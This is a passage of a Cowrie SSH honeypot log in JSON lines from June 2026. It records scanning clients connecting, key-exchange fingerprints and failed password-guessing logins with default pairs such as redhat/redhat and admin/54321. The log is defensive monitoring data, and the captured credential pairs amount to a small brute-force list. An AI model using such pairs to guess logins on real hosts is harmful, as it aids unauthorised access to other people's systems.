\\xd6z\\xc1\\xd9\\xb4p!5]\\xa0b\\xe5\\x06\\xf1\\xb7\\xe4hiQa\\x17\\xc0$\\xa5\\x01J\\xdf0\\x03o\\xa7H\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6\\xff\\xeb2\\x96\\xc5\\xdf\\xc4\\xa0\\x00\\x92\\x81\\xae\\t\\x99R%\\xd8\\xa5i\\xac9\\xdeg\\xb6\\xddp\\x9f\\xf4\\xd7A\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:05.575490Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:05.581145Z","src_ip":"91.92.40.36","session":"bfda924246b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:05.586159Z","src_ip":"91.92.40.36","session":"bfda924246b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:06.011957Z","src_ip":"123.27.168.40","session":"12cf26da837e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":44584,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c6c96e8498b","protocol":"ssh","message":"New connection: 45.153.34.195:44584 (10.17.0.5:22) [session: 8c6c96e8498b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:06.636863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:06.641640Z","src_ip":"45.153.34.195","session":"8c6c96e8498b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:06.735198Z","src_ip":"45.153.34.195","session":"8c6c96e8498b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redhat","password":"redhat","message":"login attempt [redhat/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:07.007392Z","src_ip":"45.153.34.195","session":"8c6c96e8498b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload1234567","message":"login attempt [ubuntu/upload1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:07.278198Z","src_ip":"91.92.40.36","session":"c899cdacc9ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:08.094967Z","src_ip":"45.153.34.195","session":"8c6c96e8498b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16692,"dst_ip":"159.203.135.109","dst_port":22,"session":"4704970c84a9","protocol":"ssh","message":"New connection: 91.92.40.36:16692 (159.203.135.109:22) [session: 4704970c84a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:09.437963Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":44586,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dfe45601947","protocol":"ssh","message":"New connection: 45.153.34.195:44586 (10.17.0.5:22) [session: 1dfe45601947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:09.574635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:09.579504Z","src_ip":"45.153.34.195","session":"1dfe45601947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:09.663244Z","src_ip":"45.153.34.195","session":"1dfe45601947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:09.910116Z","src_ip":"45.153.34.195","session":"1dfe45601947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:09.988482Z","src_ip":"91.92.40.36","session":"c899cdacc9ef","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:10.884392Z","src_ip":"91.92.40.36","session":"4704970c84a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:10.887973Z","src_ip":"91.92.40.36","session":"4704970c84a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:10.995899Z","src_ip":"45.153.34.195","session":"1dfe45601947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54708,"dst_ip":"10.17.0.5","dst_port":22,"session":"07dfaf0ae1db","protocol":"ssh","message":"New connection: 45.153.34.195:54708 (10.17.0.5:22) [session: 07dfaf0ae1db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:12.505672Z"}
{"eventid":"cowrie.login.failed","username":"egitim","password":"egitim","message":"login attempt [egitim/egitim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:12.540811Z","src_ip":"91.92.40.36","session":"bfda924246b2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:12.566918Z","src_ip":"45.153.34.195","session":"07dfaf0ae1db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:12.633461Z","src_ip":"45.153.34.195","session":"07dfaf0ae1db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:13.033294Z","src_ip":"45.153.34.195","session":"07dfaf0ae1db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:14.131771Z","src_ip":"45.153.34.195","session":"07dfaf0ae1db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16698,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b4f25a41098","protocol":"ssh","message":"New connection: 91.92.40.36:16698 (159.203.135.109:22) [session: 8b4f25a41098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:14.529490Z"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:14.982645Z","src_ip":"91.92.40.36","session":"bfda924246b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54722,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef6f8b119534","protocol":"ssh","message":"New connection: 45.153.34.195:54722 (10.17.0.5:22) [session: ef6f8b119534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:15.324862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:15.330879Z","src_ip":"45.153.34.195","session":"ef6f8b119534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:15.425522Z","src_ip":"45.153.34.195","session":"ef6f8b119534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rosa","password":"rosa","message":"login attempt [rosa/rosa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:16.084621Z","src_ip":"45.153.34.195","session":"ef6f8b119534","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:16.403474Z","src_ip":"91.92.40.36","session":"8b4f25a41098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:16.407586Z","src_ip":"91.92.40.36","session":"8b4f25a41098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:17.172629Z","src_ip":"45.153.34.195","session":"ef6f8b119534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"54321","message":"login attempt [admin/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:17.475757Z","src_ip":"91.92.40.36","session":"4704970c84a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54728,"dst_ip":"10.17.0.5","dst_port":22,"session":"47cadfbde86c","protocol":"ssh","message":"New connection: 45.153.34.195:54728 (10.17.0.5:22) [session: 47cadfbde86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:18.348382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:18.358856Z","src_ip":"45.153.34.195","session":"47cadfbde86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sh